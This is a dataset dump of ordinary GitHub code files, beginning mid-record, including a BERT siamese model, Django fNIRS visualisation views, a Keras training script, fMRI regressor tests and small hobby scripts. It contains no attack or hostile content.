plt.title('New Corpus Data Statistics')\n    plt.xlabel('Word')\n    plt.xticks(rotation=70)\n    plt.ylabel('Count')\n    plt.plot(*zip(*sorted(tokenCount.items(),key=lambda x: x[1], reverse=True)[:100]))\n    plt.savefig('C:\\\\Users\\\\neeth\\\\Desktop\\\\ML\\\\Project\\\\statistics.png',dpi=300,bbox_inches='tight')\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()","repo_name":"sspkash/Document_Clustering","sub_path":"p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23867499203","text":"import torch\nfrom transformers import *\nimport torch.nn as nn\nimport torch.nn.functional as F\nclass Sbert(nn.Module):\n    def __init__(self):\n        super(Sbert, self).__init__()\n        self.bert= BertModel.from_pretrained('bert-base-uncased')\n        self.lossF=nn.MSELoss()\n    def forward(self, in1,in1m,in2,in2m,label,pooling='avg'):\n        loss1, a = self.bert(in1, \n                             token_type_ids=None, \n                             attention_mask=in1m)\n        loss2, b = self.bert(in2, \n                             token_type_ids=None, \n                             attention_mask=in2m)\n#################pooling###########################\n#average#\n        if pooling=='avg':\n            input_mask_expanded1 = in1m.unsqueeze(-1).expand(loss1.size()).float()\n            sum_embeddings1 = torch.sum(loss1 * input_mask_expanded1, 1)\n            sum_mask1 = torch.clamp(input_mask_expanded1.sum(1), min=1e-9)\n            output_vector1 = sum_embeddings1 / sum_mask1\n\n            input_mask_expanded2 = in2m.unsqueeze(-1).expand(loss2.size()).float()\n            sum_embeddings2 = torch.sum(loss2 * input_mask_expanded2, 1)\n            sum_mask2 = torch.clamp(input_mask_expanded2.sum(1), min=1e-9)\n            output_vector2 = sum_embeddings2 / sum_mask2\n        \n        #[cls]token#\n        if pooling=='cls':\n            output_vector1=loss1[:, 0, :].float() \n            output_vector2=loss2[:, 0, :].float() \n        #max#\n        if pooling=='max':\n            input_mask_expanded1 = in1m.unsqueeze(-1).expand(loss1.size()).float()\n            loss1[input_mask_expanded1 == 0] = -1e9 \n            output_vector1 = torch.max(loss1, 1)[0]\n\n            input_mask_expanded2 = in2m.unsqueeze(-1).expand(loss2.size()).float()\n            loss2[input_mask_expanded2 == 0] = -1e9 \n            output_vector2 = torch.max(loss2, 1)[0]\n#########cosine sim######################\n        output=torch.cosine_similarity(output_vector1,output_vector2)\n        output=self.lossF(output,label)\n        return output","repo_name":"BarryZM/bert-based-siamese-FAQ-QA","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74386949221","text":"from django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom django.http import HttpResponse\r\nimport pandas as pd\r\nimport plotly.graph_objs as go\r\nimport plotly as plotly1\r\nfrom .models import Image\r\nfrom .models import ProbedataSatellite,FnirsDeoxySatellite,FnirsOxySatellite\r\n# Create your views here.\r\ndef dataprocess(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    if request.method == \"POST\":\r\n        experiment_id=  request.POST.get('Experimentid')\r\n        if experiment_id=='1':\r\n            return redirect('/TEST/experiment1/')\r\n        else:\r\n            return redirect('/TEST/experiment2/')\r\n    return render(request, 'TEST/dataprocessing.html')\r\n\r\ndef experiment2(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    if request.method == \"POST\":\r\n        j=[]\r\n        for i in range(11,54):\r\n            j.append(str(i))\r\n        patient_id=  request.POST.get('patient_id')\r\n        session_id=int(request.POST.get('sessionid'))\r\n        if(patient_id not in j):\r\n            return HttpResponse(\"This patient ID does not exist in Experiment 2\")\r\n        querySet=Image.objects.filter(patientid=patient_id,sessionid=session_id).values()\r\n        df = pd.DataFrame(querySet)\r\n        columns=df['datatype']\r\n        return render(request, 'TEST/fNIRsdatatype.html',  {'columns': columns,'patient_id':patient_id,'sessionid':session_id})\r\n    return render(request,'TEST/experiment2.html')\r\n\r\ndef experiment1(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    if request.method == \"POST\":\r\n        j=[]\r\n        for i in range(1,11):\r\n            j.append(str(i))\r\n        patient_id= request.POST.get('patient_id')\r\n        datatype=request.POST.get('datatype')\r\n        probetype=request.POST.get('probetype')\r\n        if(patient_id not in j):\r\n            return HttpResponse(\"This patient ID does not exist in Experiment 1 \")\r\n        else:\r\n            if(probetype=='MES'):\r\n                querySet = ProbedataSatellite.objects.filter(patient_id=patient_id,stimuli_type=datatype).values()\r\n            else:\r\n                if(probetype=='oxy'):\r\n                    querySet = FnirsOxySatellite.objects.filter(patient_id=patient_id, fnirs_type=datatype).values()\r\n                else:\r\n                    querySet = FnirsDeoxySatellite.objects.filter(patient_id=patient_id, fnirs_type=datatype).values()\r\n            df = pd.DataFrame(list(querySet))\r\n            length=df.shape[0]\r\n            columns=df.columns.tolist ()\r\n            column123=[]\r\n            for i in columns:\r\n                if 'ch' in i:\r\n                    column123.append(i)\r\n            columns=column123\r\n            return render(request, 'TEST/probedataex.html',  {'columns': columns,'patient_id':patient_id,'datatype':datatype,'probetype':probetype,'length':length})\r\n    return render(request,'TEST/experiment1.html')\r\n\r\ndef probedata(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    return render(request, 'TEST/experiment2.html')\r\n\r\ndef fNIRs(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    if request.method == \"POST\":\r\n        patient_id = request.POST.get('patient_id')\r\n        datatype = request.POST.get('datatype')\r\n        session_id = request.POST.get('session_id')\r\n        querySet = Image.objects.filter(patientid=patient_id, sessionid=session_id,datatype=datatype).values()\r\n        df = pd.DataFrame(list(querySet))\r\n        image_data=df['data']\r\n        return HttpResponse(image_data, content_type=\"image/png\")\r\n    return redirect(\"/index/\")\r\n\r\ndef plot(request):\r\n    if not request.session.get('is_login', None):\r\n        return redirect(\"/login/\")\r\n    if request.method == \"POST\":\r\n        patient_id= request.POST.get('patient_id')\r\n        datatype=request.POST.get('datatype')\r\n        quantity1=int(request.POST.get('quantity1'))\r\n        quantity2=int(request.POST.get('quantity2'))\r\n        probetype=request.POST.get('probetype')\r\n        if (probetype == 'MES'):\r\n            querySet = ProbedataSatellite.objects.filter(patient_id=patient_id, stimuli_type=datatype).values()\r\n        else:\r\n            if (probetype == 'oxy'):\r\n                querySet = FnirsOxySatellite.objects.filter(patient_id=patient_id, fnirs_type=datatype).values()\r\n            else:\r\n                querySet = FnirsDeoxySatellite.objects.filter(patient_id=patient_id, fnirs_type=datatype).values()\r\n        df = pd.DataFrame(list(querySet))\r\n        columns = df.columns.tolist()\r\n        columnlist=[]\r\n        for i in columns:\r\n            c=request.POST.get(i)\r\n            if(c=='1.1'):\r\n                columnlist.append(i)\r\n        listfin=[]\r\n        listout=[]\r\n        df=df.loc[quantity1:quantity2,columnlist]\r\n        out=quantity2+1-quantity1\r\n        for i in range(quantity1,quantity2+1):\r\n            listfin.append(i)\r\n        for j in range(out):\r\n            listout.append(j)\r\n        text = []\r\n        for column in columnlist:\r\n            x1=listfin\r\n            y1=[k for k in df[column]]\r\n            trace = go.Scatter(\r\n                x=x1,\r\n                y=y1,\r\n                textposition='top center',\r\n                mode='markers+text+lines',\r\n                name=column,  # Style name/legend entry with html tags\r\n                connectgaps=True  # 是否连接缺失值\r\n            )\r\n            text.append(trace)\r\n        layout = go.Layout(\r\n            autosize=False,\r\n            width=3000,\r\n            height=2000,\r\n            xaxis=go.layout.XAxis(linecolor='black',\r\n                                  linewidth=1,\r\n                                  mirror=True),\r\n\r\n            yaxis=go.layout.YAxis(linecolor='black',\r\n                                  linewidth=1,\r\n                                  mirror=True),\r\n\r\n            margin=go.layout.Margin(\r\n                l=50,\r\n                r=50,\r\n                b=100,\r\n                t=100,\r\n                pad=4\r\n            )\r\n        )\r\n        fig = go.Figure(data=text, layout=layout)\r\n        graph_div = plotly1.offline.plot(fig, auto_open = True, output_type=\"div\")\r\n        return render(request, 'TEST/probedataplot.html',{'graph_div':graph_div,'patient_id':patient_id,'datatype':datatype,'probetype':probetype})\r\n    return render(request,'TEST/probedataplot.html')","repo_name":"thenoaimi/DataVault-Repo","sub_path":"2. code/Django/Visualisation/TEST/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1612217210","text":"import os\nimport json\nimport tensorflow as tf\nfrom keras.models import Sequential\nimport keras\nfrom keras.layers import Dense, Dropout, LSTM, CuDNNLSTM, Activation, BatchNormalization, LeakyReLU, Flatten, TimeDistributed, CuDNNGRU, RNN, SimpleRNN, GRU\nimport numpy as np\nimport random\nfrom sklearn.preprocessing import normalize\nfrom tensorflow.keras.callbacks import TensorBoard\nfrom keras import backend as K\nimport time\nfrom normalizer import norm\nimport matplotlib.pyplot as plt\nimport pickle\nimport sys\nfrom sklearn import preprocessing\nimport itertools\nfrom sklearn.model_selection import train_test_split\n\n#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.5)\n#sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n\nclass Visualize(tf.keras.callbacks.Callback):\n    def on_epoch_end(self, epoch, logs={}):\n        if epoch % 10 == 0 or 1==1:\n            preds = []\n            grounds = []\n            x = list(range(len(test_samples)))\n            for i in test_samples:\n                preds.append(model.predict([[x_test[i]]])[0][0])\n                grounds.append(y_test[i])\n            \n            plt.clf()\n            plt.plot(x, grounds, label='ground-truth')#, marker='o')\n            plt.plot(x, preds, label='prediction-{}'.format(epoch))#, marker='o')\n            plt.title(\"test data (unseen)\")\n            plt.legend()\n            plt.savefig(\"models/h5_models/{}/0-{}-epoch-{}.png\".format(model_name, model_name, epoch))\n            plt.pause(.1)\n            model.save(\"models/h5_models/{}/{}-epoch-{}.h5\".format(model_name, model_name, epoch))\n\n#v_ego, v_lead, d_lead\ndata_dir = \"LSTM\"\nos.chdir(\"C:/Git/dynamic-follow-tf\")\n\nnorm_dir = \"data/{}/normalized.npy\"\n\nmodel_name = \"LSTM\"\n\n'''with open(\"data/{}/x_train\".format(data_dir), \"rb\") as f:\n    x_train = pickle.load(f)\n\nwith open(\"data/{}/y_train\".format(data_dir), \"rb\") as f:\n    y_train = pickle.load(f)'''\n\nsamples_to_use = 7000000\nif samples_to_use != 'all':\n    y_train = np.load(\"data/{}/y_train.npy\".format(data_dir))[:samples_to_use]\nelse:\n    y_train = np.load(\"data/{}/y_train.npy\".format(data_dir))\n    print(len(y_train))\nis_array = False\n\nif not os.path.exists(norm_dir.format(data_dir)):\n    if samples_to_use != 'all':\n        x_train = np.load(\"data/{}/x_train.npy\".format(data_dir))[:samples_to_use]\n    else:\n        x_train = np.load(\"data/{}/x_train.npy\".format(data_dir))\n    print(\"Normalizing...\", flush=True)\n    normalized = norm(x_train)\n    x_train = normalized['normalized']\n    scales = normalized['scales']\n    print(\"Dumping normalization...\", flush=True)\n    np.save(norm_dir.format(data_dir), x_train)\n    with open('data/LSTM/scales', \"wb\") as f:\n        pickle.dump(normalized['scales'], f)\n    #with open(norm_dir.format(data_dir), \"wb\") as f:\n        #pickle.dump(normalized, f)\nelse:\n    is_array = True\n    print(\"Loading normalized data...\", flush=True)\n    x_train = np.load(norm_dir.format(data_dir))\n    with open('data/LSTM/scales', \"rb\") as f:\n        scales = pickle.load(f)\n    print('Loaded!', flush=True)\n    #with open(norm_dir.format(data_dir), \"rb\") as f:\n        #normalized = pickle.load(f)\n\nprint(len(x_train))\n#scales = normalized['scales']\n#x_train = normalized['normalized']\ny_train = np.array([np.interp(i, [-1, 1], [0, 1]) for i in y_train])\n\nflatten = True\nif flatten:\n    print('Flattening...', flush=True)\n    #x_train = np.array([[inner for outer in sample for inner in outer] for sample in x_train])\n    x_train = np.array([i.flatten() for i in x_train])  # whole lot faster lul\nelif not is_array:\n    x_train = np.array(x_train)\nprint(x_train.shape)\n\nx_train, x_test, y_train, y_test = train_test_split(x_train, y_train, test_size=0.1)\n\n#random_choices = []\nnum_test = 600\nnum_test = min(len(x_test), num_test)\n\ntest_samples = random.sample(range(len(x_test)), num_test)\ntest_samples = sorted(list(zip([y_test[i] for i in test_samples], test_samples)))\ntest_samples = [y for x, y in test_samples] # sort from lowest to highest for visualization\n\nopt = keras.optimizers.Adam(lr=0.0001)#, decay=1e-6)\nopt = keras.optimizers.Adadelta()\n#opt = keras.optimizers.RMSprop(0.001)\n#opt = keras.optimizers.Adagrad(lr=0.00001)\nopt = 'adam'\n#opt = 'rmsprop'\n#opt = keras.optimizers.SGD(lr=0.01, decay=1e-8, momentum=0.9, nesterov=True)\n\nlayers = 6\nnodes = 186\n\nmodel_type = 'dense' # lstm, dense, or gru\n\nmodel = Sequential()\nif model_type.lower() == 'lstm':\n    to_sub = 2\n    model.add(CuDNNLSTM(nodes, input_shape=(x_train.shape[1:]), return_sequences=True))\nelif model_type.lower() == 'dense':\n    to_sub = 1\n    model.add(Dense(nodes, activation=\"relu\", input_shape=(x_train.shape[1:])))\n    #model.add(Dropout(0.1))\n#model.add(CuDNNGRU(nodes, return_sequences=True, input_shape=(x_train.shape[1:])))\n#model.add(SimpleRNN(128, activation='tanh', return_sequences=False, input_shape=(x_train.shape[1:])))\n#model.add(Dropout(.05))\nfor i in range(layers - to_sub):\n    #model.add(Dense(nodes, activation=\"relu\"))\n    #model.add(Dropout(.05))\n    if model_type.lower() == 'lstm':\n        model.add(CuDNNLSTM(nodes, return_sequences=True))\n    #model.add(CuDNNGRU(nodes, return_sequences=True))\n    elif model_type.lower() == 'dense':\n        model.add(Dense(nodes, activation=\"relu\"))\n        #model.add(Dropout(0.1))\n    #model.add(SimpleRNN(64, activation='tanh'))\n#model.add(Dense(128, activation='relu'))\n#model.add(Permute((2,1), input_shape=(10, 5)))\n#model.add(CuDNNGRU(nodes, return_sequences=False))\nif model_type.lower() == 'lstm':\n    model.add(CuDNNLSTM(nodes, return_sequences=False))\n\nmodel.add(Dense(1, activation='linear'))\n\n\nmodel.compile(loss='mean_squared_error', optimizer=opt)\n#tensorboard = TensorBoard(log_dir=\"logs/test-{}\".format(\"30epoch\"))\ncallback_list = [Visualize()]\nmodel.fit(x_train, y_train, shuffle=True, batch_size=256, epochs=200, validation_data=(x_test, y_test), callbacks=callback_list)\n\n\ndef get_acc():\n    accs = []\n    for idx, i in enumerate(x_test[:20000]):\n        pred = model.predict([[i]])[0][0]\n        accs.append(abs(pred - y_test[idx]))\n    print('Test accuracy: {}'.format(1 - sum(accs) / len(accs)))\n    \n    '''accs = []\n    for idx, i in enumerate(x_train):\n        pred = model.predict([[i]])[0][0]\n        accs.append(abs(pred - y_train[idx]))\n    print('Train accuracy: {}'.format(1 - sum(accs) / len(accs)))'''\n\nget_acc()\n    \nfor i in range(10):\n    rand = random.randint(0, len(x_train))\n    pred = model.predict([[x_train[rand]]])[0][0]\n    print(\"Ground truth: {}\".format(y_train[rand]))\n    print(\"Prediction: {}\\n\".format(pred))\n\nsave_model = False\nif save_model:\n    model.save(\"models/h5_models/\"+model_name+\".h5\")\n    print(\"Saved model!\")","repo_name":"sshane/dynamic-follow-tf-v2","sub_path":"tests/lstm/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37605071000","text":"from ticketguardian.affiliate import Affiliate\n\n\ndef test_parent_scope():\n    affiliate = None\n    for i in Affiliate.list():\n        if i.parent is not None:\n            # Get Affiliate that has a parent\n            affiliate = i\n            break\n\n    parent = affiliate.parent\n    parent_list = affiliate.parent_scope\n\n    for index, test_parent in enumerate(parent_list):\n        assert parent.id == test_parent.id\n        parent = parent.parent\n","repo_name":"TicketGuardian/ticketguardian-python","sub_path":"ticketguardian/affiliate/tests/test_parent_scope.py","file_name":"test_parent_scope.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"32389806480","text":"finished_dictionary = {}\nwith open(\"ABC123.txt\", \"r\") as file:\n    for line in file:\n        key, value = line.split(' : ')\n        key = key.strip('\"')\n        finished_dictionary[key] = int(value[0:3])\n    print(finished_dictionary)\ndef numbering_function (dictionary):\n    finished_dictionary1 = {}\n    count = 1\n    for key, value in dictionary.items():\n        my_list = [key, value]\n        finished_dictionary1[str(count) + \".\"] = my_list\n        count += 1\n    return finished_dictionary1\n\ndef java_house_menu_with_user_input(dictionary):\n    total = 0\n    for key, value in dictionary.items():\n        print(key, value[0])\n    item_numbers = []\n    print(\"\\n\")\n    answear = \"No\"\n    while answear == \"No\" or answear == \"no\" or answear == \"n\":\n        item = input(\"Item number? \")\n        item_numbers.append(item)\n        answear = input(\"Is that all? \")\n    print(\"\\n\")\n    for every_number in item_numbers:\n        print(f\"That will be a\",dictionary[str(every_number) + \".\"][0])\n        total += dictionary[str(every_number) + \".\"][1]\n    print(f\"The Total Will Be KES {total}\")\njava_house_menu_with_user_input(numbering_function(finished_dictionary))\n\n","repo_name":"Neymar110/Java-Dictionary","sub_path":"Java menu.py","file_name":"Java menu.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6518930657","text":"import sqlite3\n\n\ndef setup_db():\n    connection = sqlite3.connect('hacker.db')\n    cursor = connection.cursor()\n    query = f'''\n    CREATE TABLE IF NOT EXISTS CipherBreaker (\n        id INTEGER PRIMARY KEY AUTOINCREMENT,\n        messege VARCHAR(50),\n        encypted_message TEXT\n    );\n    '''\n    cursor.executescript(query)\n    connection.commit()\n    connection.close()\n\n\ndef main():\n    setup_db()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"PetarDamyanov/Python","sub_path":"week09/week09_03/task3/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32349176810","text":"import requests\nfrom django.http import JsonResponse\n\n\ndef cep(request) -> JsonResponse:\n    current_cep = request.GET.get('cep').replace('-', '')\n    url = f'https://viacep.com.br/ws/{current_cep}/json/'\n    response = requests.get(url)\n    if response.status_code == 200:\n        resp = response.json()\n        return JsonResponse({\n            'status': 'success',\n            'content': {\n                'address': resp.get('logradouro'),\n                'city': resp.get('localidade'),\n                'state': resp.get('uf'),\n            }\n        })\n    return JsonResponse({'status': 'error', 'message': 'CEP não encontrado'}, status=200)\n","repo_name":"caio-rds/HachiRokuGarage","sub_path":"services/externals.py","file_name":"externals.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28780491033","text":"\"\"\" Tests for regressors module.\n\nTests in ``py.test`` format.\n\"\"\"\n\nfrom os.path import dirname, join as pjoin\n\nimport numpy as np\nimport numpy.linalg as npl\nfrom scipy.interpolate import interp1d\n\nfrom skimage.filters import threshold_otsu\nimport nibabel as nib\n\nfrom fmri_designs.regressors import (events2neural_hr, poly_drift,\n                                     deltas_at_rows, spm_hrf_dt,\n                                     conds2hrf_cols, f_tests, f_tests_3d,\n                                     f_for_outliers, outlier_metrics)\nfrom fmri_designs.tmpdirs import dtemporize\nfrom fmri_designs.spm_funcs import spm_hrf\n\nimport pytest\nfrom numpy.testing import assert_array_equal, assert_almost_equal\n\nHERE = dirname(__file__)\nCONDS = pjoin(HERE, 'conds')\n\n# Example onset, duration, amplitude triplets\nCOND_TEST = \"\"\"\\\n10    6.0    1\n20    4.0    2\n24    2.0    0.1\"\"\"\n\n# Name of file to write for testing\nCOND_TEST_FNAME = 'cond_test1.txt'\n\n\n# Work in temporary directory\n@dtemporize\ndef test_events2neural_hr_simple():\n    # test events2neural_hr function\n    # Write condition test file\n    with open(COND_TEST_FNAME, 'wt') as fobj:\n        fobj.write(COND_TEST)\n    # Read it back\n    times_neural = events2neural_hr(COND_TEST_FNAME, 32, dt=2.)\n    assert times_neural.shape == (2, 16)\n    times, neural = times_neural\n    assert_array_equal(times, np.arange(0, 32, 2))\n    # Expected values for tr=2, n_trs=16\n    expected = np.zeros(16)\n    expected[5:8] = 1\n    expected[10:12] = 2\n    expected[12] = 0.1\n    assert_array_equal(neural, expected)\n    times, neural = events2neural_hr(COND_TEST_FNAME, 30, dt=1.)\n    assert_array_equal(times, np.arange(30))\n    # Expected values for tr=1, n_trs=30\n    expected = np.zeros(30)\n    expected[10:16] = 1\n    expected[20:24] = 2\n    expected[24:26] = 0.1\n    assert_array_equal(neural, expected)\n    # Extend duration, more zeros in neural\n    times, neural = events2neural_hr(COND_TEST_FNAME, 40, dt=1.)\n    assert_array_equal(times, np.arange(40))\n    assert_array_equal(neural, np.concatenate((expected, np.zeros(10))))\n    # Drop duration, truncates\n    times, neural = events2neural_hr(COND_TEST_FNAME, 20, dt=1.)\n    assert_array_equal(times, np.arange(20))\n    assert_array_equal(neural, expected[:20])\n    # dt of 0.1\n    times, neural = events2neural_hr(COND_TEST_FNAME, 30, dt=0.1)\n    assert_array_equal(times, np.arange(0, 30, 0.1))\n    # Expected values for tr=0.1, n_trs=300\n    expected = np.zeros(300)\n    expected[100:160] = 1\n    expected[200:240] = 2\n    expected[240:260] = 0.1\n    assert_array_equal(neural, expected)\n    # 0.1 is the default\n    times, neural = events2neural_hr(COND_TEST_FNAME, 30)\n    assert_array_equal(times, np.arange(0, 30, 0.1))\n    assert_array_equal(neural, expected)\n\n\ndef test_poly_drift():\n    # Test polynomial drift\n    times = np.arange(0, 20, 2.15)\n    n = len(times)\n    assert_array_equal(poly_drift(times, 0), np.ones((n, 1)))\n    linear = np.linspace(-1, 1, n)\n    linear /= npl.norm(linear)\n    assert_almost_equal(poly_drift(times, 1), np.c_[linear, np.ones(n)])\n    quadratic = (linear ** 2) - (linear ** 2).mean()\n    quadratic /= npl.norm(quadratic)\n    assert_almost_equal(poly_drift(times, 2),\n                        np.c_[quadratic, linear, np.ones(n)])\n    cubic = (linear ** 3) - (linear ** 3).mean()\n    cubic /= npl.norm(cubic)\n    assert_almost_equal(poly_drift(times, 3),\n                        np.c_[cubic, quadratic, linear, np.ones(n)])\n    d_10 = poly_drift(times, 10)\n    exp_sums = np.concatenate((np.zeros(10), [n]))\n    assert_almost_equal(np.sum(d_10, axis=0), exp_sums)\n    exp_lengths = np.concatenate((np.ones(10), [np.sqrt(n)]))\n    assert_almost_equal(np.sqrt(np.sum(d_10 ** 2, axis=0)), exp_lengths)\n\n\ndef test_deltas_at_rows():\n    # Test design for deltas as given rows\n    for rows, n in (([3, 7, 15], 20),\n                    ([1, 2, 9], 12)):\n        d = deltas_at_rows(rows, n)\n        for col, row in enumerate(rows):\n            assert d[row, col] == 1\n            d[row, col] = 0\n        assert np.all(d == 0)\n    with pytest.raises(IndexError):\n        deltas_at_rows([3, 12], 12)\n\n\ndef test_spm_hrf_dt():\n    # Test SPM HRF at duration and dt\n    assert_almost_equal(spm_hrf(np.arange(0, 30, 0.1)),\n                        spm_hrf_dt())\n    assert_almost_equal(spm_hrf(np.arange(0, 20, 0.1)),\n                        spm_hrf_dt(20))\n    assert_almost_equal(spm_hrf(np.arange(10)),\n                        spm_hrf_dt(10, 1))\n\n\ndef test_conds2hrf_cols():\n    # Test function to return design columns for condition files\n    cond_fnames = [pjoin(HERE, 'ds114_sub009_t2r1_cond.txt'),\n                   pjoin(HERE, 'new_cond.txt')]\n    TR = 2.5\n    tr_times = np.arange(0, 400, TR)\n    hrf_cols = conds2hrf_cols(cond_fnames, tr_times)\n    # Now go the slow way round\n    hrf = spm_hrf(np.arange(0, 30, 0.1))\n    hr_times, neural = events2neural_hr(cond_fnames[0], 410)\n    conv = np.convolve(neural, hrf)[:len(neural)]\n    interp0 = interp1d(hr_times, conv, bounds_error=False, fill_value=0)\n    hr_times, neural = events2neural_hr(cond_fnames[1], 410)\n    conv = np.convolve(neural, hrf)[:len(neural)]\n    interp1 = interp1d(hr_times, conv, bounds_error=False, fill_value=0)\n    hrf_cols_manual = np.c_[interp0(tr_times), interp1(tr_times)]\n    assert_almost_equal(hrf_cols, hrf_cols_manual)\n\n\ndef test_f_tests():\n    # Test F test routine against results from R\n    # See f_tests.R\n    x = np.loadtxt(pjoin(HERE, 'x.txt'))\n    y1 = np.loadtxt(pjoin(HERE, 'y1.txt'))\n    y2 = np.loadtxt(pjoin(HERE, 'y2.txt'))\n    Y = np.c_[y1, y2]\n    n = len(x)\n    X_f = np.ones((n, 2))\n    X_f[:, 1] = x\n    F, nu_1, nu_2 = f_tests(Y, X_f, np.ones((n, 1)))\n    # Test F test results come from the output of R\n    exp_f = [0.01197, 0.5955]\n    assert_almost_equal(F, exp_f, 4)\n    assert (nu_1, nu_2) == (1, 98)\n    # Test 3D version\n    vol_shape = (2, 3, 4)\n    Y_4d = np.zeros(vol_shape + (n,))\n    mask = np.zeros(vol_shape, dtype=bool)\n    Y_4d[1, 1, 1] = y1\n    Y_4d[1, 1, 2] = y2\n    mask[1, 1, 1] = True\n    mask[1, 1, 2] = True\n    exp_f_3d = np.zeros(vol_shape, dtype=float)\n    exp_f_3d[mask] = exp_f\n    F, nu_1, nu_2 = f_tests_3d(Y_4d, mask, X_f, np.ones((n, 1)))\n    assert_almost_equal(F, exp_f_3d, 4)\n    assert (nu_1, nu_2) == (1, 98)\n\n\ndef test_f_for_outliers():\n    # More or less smoke test for big-picture routine\n    img_fname = pjoin(HERE, 'group00_sub04_run1.nii')\n    cond_fnames = [pjoin(CONDS, 'group00_sub04_run1_cond1.txt'),\n                   pjoin(CONDS, 'group00_sub04_run1_cond2.txt'),\n                   pjoin(CONDS, 'group00_sub04_run1_cond3.txt'),\n                   pjoin(CONDS, 'group00_sub04_run1_cond4.txt')]\n    tr = 2.0\n    f_1, f_2, f_3, msk = f_for_outliers(img_fname, cond_fnames, tr, [2, 3])\n    # Long manual process\n    data = nib.load(img_fname).get_data()\n    n_trs = data.shape[-1]\n    tr_times = np.arange(n_trs) * tr\n    hrf_cols = conds2hrf_cols(cond_fnames, tr_times)\n    drift = poly_drift(tr_times, 3)\n    outliers = deltas_at_rows([2, 3], n_trs)\n    mean = data.mean(axis=-1)\n    mask = mean > threshold_otsu(mean)\n    assert_array_equal(mask, msk)\n    f_hrf, h_n1, h_n2 = f_tests_3d(data, mask, np.c_[hrf_cols, drift], drift)\n    assert_array_equal(f_1[0], f_hrf)\n    reduced = np.c_[hrf_cols, drift]\n    f_outliers, o_n1, o_n2 = f_tests_3d(data, mask,\n                                        np.c_[outliers, reduced], reduced)\n    reduced = np.c_[outliers, drift]\n    f_both, b_n1, b_n2 = f_tests_3d(data, mask,\n                                    np.c_[hrf_cols, reduced], reduced)\n    assert_array_equal(f_2[0], f_outliers)\n    assert_array_equal(f_3[0], f_both)\n    # HRF cols 2 and 3 all zero because of truncated data (first 10 vols)\n    assert f_1[1:] == (2, n_trs - 6)\n    assert f_2[1:] == (2, n_trs - 8)\n    assert f_3[1:] == (2, n_trs - 8)\n\n\ndef test_outlier_metrics():\n    a = np.random.normal(10, 2, size=(10, 11, 12))\n    b = np.random.normal(10, 2, size=(10, 11, 12))\n    c = np.random.normal(10, 2, size=(10, 11, 12))\n    msk = np.random.normal(10, 2, size=(10, 11, 12)) > 0.2\n    n = np.sum(msk)\n    first, second, third, d = outlier_metrics((a, 1, 1), (b, 1, 1), \n                                              (c, 1, 1), msk)\n    assert first == a[msk].sum() / n\n    assert second == b[msk].sum() / n\n    assert third == c[msk].sum() / n\n    assert d == third - first\n","repo_name":"psych-214-fall-2016/fmri-designs","sub_path":"fmri_designs/tests/test_regressors.py","file_name":"test_regressors.py","file_ext":"py","file_size_in_byte":8388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22350949841","text":"import cv2 as cv\r\nimport numpy as np\r\nfrom windowcapture import WindowCapture\r\n\r\nsteve = cv.imread(\"Steve.PNG\")\r\nsteve_w = steve.shape[1]\r\nsteve_h = steve.shape[0]\r\nwincap = WindowCapture('minecraft - Google Search - Google Chrome')\r\nwhile True:\r\n\r\n    img = wincap.get_screenshot()\r\n    #imgGray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\r\n    result = cv.matchTemplate(steve, img, cv.TM_CCOEFF_NORMED)\r\n    # get location of best match\r\n    min_val, max_val, min_loc, max_loc = cv.minMaxLoc(result)\r\n\r\n    cv.circle(img, (max_loc[1]+steve_w,max_loc[0]+steve_h), 50, (255, 0, 0), 10)\r\n\r\n    cv.imshow(\"Computer Vision\", img)\r\n    if cv.waitKey(1) & 0xFF == ord('q'):\r\n        cv.destroyAllWindows()\r\n        break\r\n\r\nprint(\"Done.\")\r\n","repo_name":"OptimumAF/openCV","sub_path":"OpenCV/gameDetection.py","file_name":"gameDetection.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
